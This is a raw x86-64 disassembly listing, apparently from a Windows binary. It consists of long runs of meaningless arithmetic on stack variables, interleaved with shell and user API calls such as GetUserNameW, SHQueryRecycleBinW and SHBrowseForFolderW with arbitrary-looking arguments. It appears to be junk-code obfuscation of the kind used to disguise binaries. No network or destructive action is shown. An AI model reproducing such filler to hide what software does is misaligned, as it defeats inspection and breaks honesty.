mov byte [rcx], al
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x4f8], al
movsx eax, word [0x14019d034]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019ef94], ax
movsx eax, word [rsp + 0x2ab8]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov rcx, qword [rsp + 0xd188]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ac4], ax
movzx eax, word [rsp + 0x2a54]
movzx ecx, word [rsp + 0x2a80]
add eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd390]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd120], rax
movzx eax, byte [rsp + 0x4df]
mov byte [rsp + 0x4f9], al
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x6b8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6afc], eax
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x1548]
shl eax, cl
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0xd94]
movzx ecx, word [rsp + 0x2ad4]
and eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xd380]
mov qword [0x14019f070], rax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0xcf80]
mov qword [rsp + 0xd3a8], rax
lea rdx, [rsp + 0x225a0]
mov ecx, 0xd4
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6d40], eax
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xd2e0]
mov qword [rsp + 0xd3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [0x14019d05c]
sub eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x4fa], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6d08]
mov dword [rsp + 0x6d3c], eax
lea rax, [rsp + 0x9f68]
mov qword [rsp + 0xd3b8], rax
movsx eax, byte [rsp + 0x12c]
movsx ecx, byte [rsp + 0x4e5]
sub eax, ecx
mov byte [rsp + 0x347], al
lea rdx, [rsp + 0x22970]
mov ecx, 0x4d
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6bc8], eax
lea r9, [rsp + 0x22970]
lea r8, [rsp + 0x21150]
lea rdx, [rsp + 0x6d1c]
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xd198]
mov ecx, dword [rsp + 0x5b50]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019d060], eax
movsx eax, word [0x14019d034]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20c4], ax
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a84], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25c0], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6cf8]
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x4f7]
movsx ecx, byte [rsp + 0x4ec]
add eax, ecx
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xa0a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd178], rax
movsx eax, word [rsp + 0x2760]
movsx ecx, word [0x14019f024]
add eax, ecx
mov word [rsp + 0x20c4], ax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019efd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd3c8]
mov qword [rsp + 0xd3d0], rax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
mov eax, dword [rsp + 0x5eac]
mov dword [rsp + 0x6d44], eax
movzx eax, byte [rsp + 0x4fa]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4a1], al
movsx eax, byte [rsp + 0xc5]
movsx ecx, byte [0x14019d011]
shl eax, cl
mov byte [rsp + 0x4f9], al
lea rax, [rsp + 0x6d28]
mov qword [rsp + 0xd3d8], rax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3e0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd328], rax
movsx eax, word [rsp + 0x2a84]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe78], ax
movzx eax, word [rsp + 0x28e0]
mov word [0x14019f078], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xb340]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [0x14019f070]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf80], rax
movzx eax, word [rsp + 0x2a38]
mov word [rsp + 0x2ae8], ax
lea rdx, [rsp + 0xce38]
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6cfc], eax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x2ab0]
sar eax, cl
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0xb650]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xd3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9e28], rax
movsx eax, byte [rsp + 0x4f9]
movsx ecx, byte [rsp + 0x344]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6d48], eax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [0x14019efe8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacf8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d064], ax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a78], ax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [rsp + 0x45a]
xor eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd050]
mov qword [rsp + 0xd3f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd320]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x654c]
shl eax, cl
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x4ed]
or eax, ecx
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0x9e28]
mov qword [rsp + 0xd400], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d038], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad38], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x25c0], ax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a84], ax
lea rax, [rsp + 0xd320]
mov qword [rsp + 0xd408], rax
movsx eax, byte [rsp + 0x4e5]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc5], al
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov dword [rsp + 0x6d4c], eax
mov rax, qword [rsp + 0xd120]
mov rcx, qword [rsp + 0xd400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
lea rcx, [rsp + 0x209d0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2434], ax
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xbd38]
and rcx, rax
mov rax, rcx
mov qword [0x14019d050], rax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5eac], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x4e8]
or eax, ecx
mov byte [rsp + 0x3fb], al
movzx eax, word [rsp + 0x2ad8]
mov word [rsp + 0x2aec], ax
movzx eax, word [rsp + 0x25c0]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov qword [rsp + 0xd410], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd418]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e0], al
lea rax, [0x14019d030]
mov qword [rsp + 0xd420], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [0x14019f07c], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd310]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0xd328]
mov qword [rsp + 0xd428], rax
mov eax, dword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xd430], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d48], eax
lea rax, [rsp + 0x4e4]
mov qword [rsp + 0xd438], rax
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f3], al
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b24], eax
movsx eax, word [rsp + 0x2a7c]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d068], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1240], ax
movzx eax, word [rsp + 0x1ed8]
movzx ecx, word [0x14019d048]
and eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe8]
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd400], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x4fb], al
mov rax, qword [rsp + 0xd3d8]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d4c], eax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ab8], ax
movzx eax, word [rsp + 0x2a80]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1fbc], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xb340]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019efe0], rax
lea rcx, [rsp + 0xcee8]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd448], rax
movzx eax, word [rsp + 0x2434]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xd1e0]
mov qword [rsp + 0xd450], rax
mov rax, qword [rsp + 0xacf8]
mov rcx, qword [rsp + 0xad38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0xd358]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xd458], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd458]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x58e0], eax
mov eax, dword [rsp + 0x6d34]
mov rcx, qword [rsp + 0xd0f8]
mov qword [rsp + 0xd460], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd460]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d3c], eax
movzx eax, byte [0x14019ef90]
mov byte [rsp + 0x4fc], al
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x2a64]
mov word [0x14019f080], ax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2af0], ax
movzx eax, word [rsp + 0x1b08]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a54], ax
lea rax, [rsp + 0xb650]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x347]
sub eax, ecx
mov byte [rsp + 0x4f4], al
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xd0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6c24], eax
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0xd470], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xb4e0]
movzx ecx, al
mov rax, qword [rsp + 0xd260]
sar rax, cl
mov qword [0x14019efe8], rax
lea rax, [rsp + 0xd048]
mov qword [rsp + 0xd478], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xacf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd170]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9448], rax
movzx eax, word [rsp + 0x2ae0]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ee], al
lea rax, [rsp + 0x6c78]
mov qword [rsp + 0xd480], rax
mov eax, dword [rsp + 0x69fc]
mov ecx, dword [0x14019efb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
lea rax, [rsp + 0x4e6]
mov qword [rsp + 0xd488], rax
mov rax, qword [rsp + 0xad08]
mov rcx, qword [rsp + 0xd468]
mov qword [rsp + 0xd490], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd490]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f010], rax
movsx eax, word [0x14019f040]
movsx ecx, word [rsp + 0x20c4]
or eax, ecx
mov rcx, qword [rsp + 0xd258]
mov word [rcx], ax
movsx eax, word [rsp + 0x2ad8]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2aec], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov word [rsp + 0x2af4], ax
mov rax, qword [rsp + 0xd380]
mov rcx, qword [rsp + 0xd220]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0e8]
mov qword [rsp + 0xd498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa3c8], rax
mov eax, dword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x654c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
lea rdx, [rsp + 0x6d50]
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4eb]
or eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
movzx eax, word [rsp + 0x2acc]
mov word [rsp + 0x2af8], ax
movzx eax, word [rsp + 0x2aac]
mov word [0x14019f084], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd408]
mov qword [rsp + 0xd4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd290], rax
lea rax, [rsp + 0x1fbc]
mov qword [rsp + 0xd4a8], rax
movzx eax, byte [rsp + 0x4f3]
movzx ecx, byte [0x14019d010]
sar eax, cl
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5eb4], eax
movsx eax, byte [rsp + 0x4e1]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6d2c]
mov dword [rsp + 0x6cf4], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov qword [rsp + 0xd4b0], rax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a6c]
add eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f03c], ax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov qword [rsp + 0xd4b8], rax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd450], rax
movsx eax, word [rsp + 0x2a8c]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20c4], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cf4], ax
lea rcx, [rsp + 0x1e3b0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov qword [rsp + 0xd4c0], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5dfc]
shl eax, cl
mov dword [rsp + 0x5b3c], eax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xacf8], rax
lea rax, [rsp + 0x2af8]
mov qword [0x14019f088], rax
movzx eax, word [rsp + 0xcbc]
movzx ecx, word [rsp + 0x2abc]
sar eax, cl
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34f]
sub eax, ecx
mov byte [rsp + 0x4ee], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6d54], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd4b8], rax
movsx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd218]
mov byte [rcx], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xd4c8], rax
mov eax, dword [0x14019efb0]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xd4d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d28], eax
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x2a7c]
sub eax, ecx
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d4]
sub eax, ecx
mov word [0x14019d048], ax
mov rax, qword [rsp + 0xd1e0]
mov rcx, qword [rsp + 0xd208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab00], rax
lea rdx, [rsp + 0xcf00]
mov rcx, qword [rsp + 0xd4d8]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x6bc0], eax
lea rax, [rsp + 0x2aa0]
mov qword [rsp + 0xd4e0], rax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c4]
xor eax, ecx
mov rcx, qword [rsp + 0xd0b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd408]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov byte [rsp + 0x4fd], al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5cf0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd300]
shl rax, cl
mov qword [rsp + 0xac98], rax
movzx eax, word [rsp + 0x17d4]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
lea rcx, [rsp + 0xd308]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd4e8], rax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd320]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d070], rax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd1d8]
mov byte [rcx], al
mov eax, dword [0x14019efac]
mov dword [rsp + 0x6d58], eax
movsx eax, word [rsp + 0x2ad8]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ab4], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6d20]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4e5], al
lea rax, [rsp + 0xb650]
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [0x14019f080]
shl eax, cl
mov word [rsp + 0x2ad8], ax
movzx eax, word [rsp + 0x25c0]
mov word [0x14019f090], ax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xd4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd408]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3a8]
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a64]
sub eax, ecx
mov word [rsp + 0x2ab8], ax
movsx eax, byte [rsp + 0x4ea]
movsx ecx, byte [0x14019ef92]
and eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0xd300]
mov rcx, qword [rsp + 0xa0a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaaf8], rax
xor edx, edx
mov eax, dword [rsp + 0x6d20]
div dword [rsp + 0x6cf4]
mov dword [rsp + 0x6d10], eax
lea rdx, [rsp + 0xd140]
lea rcx, [rsp + 0xd378]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6cfc], eax
movzx eax, byte [rsp + 0x34f]
mov byte [rsp + 0x4fe], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c78]
sar eax, cl
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019f068], ax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2890], ax
mov rax, qword [rsp + 0xd478]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xacf8], rax
lea rcx, [rsp + 0xd1b8]
call qword [sym.imp.SHELL32.dll_ILFree]
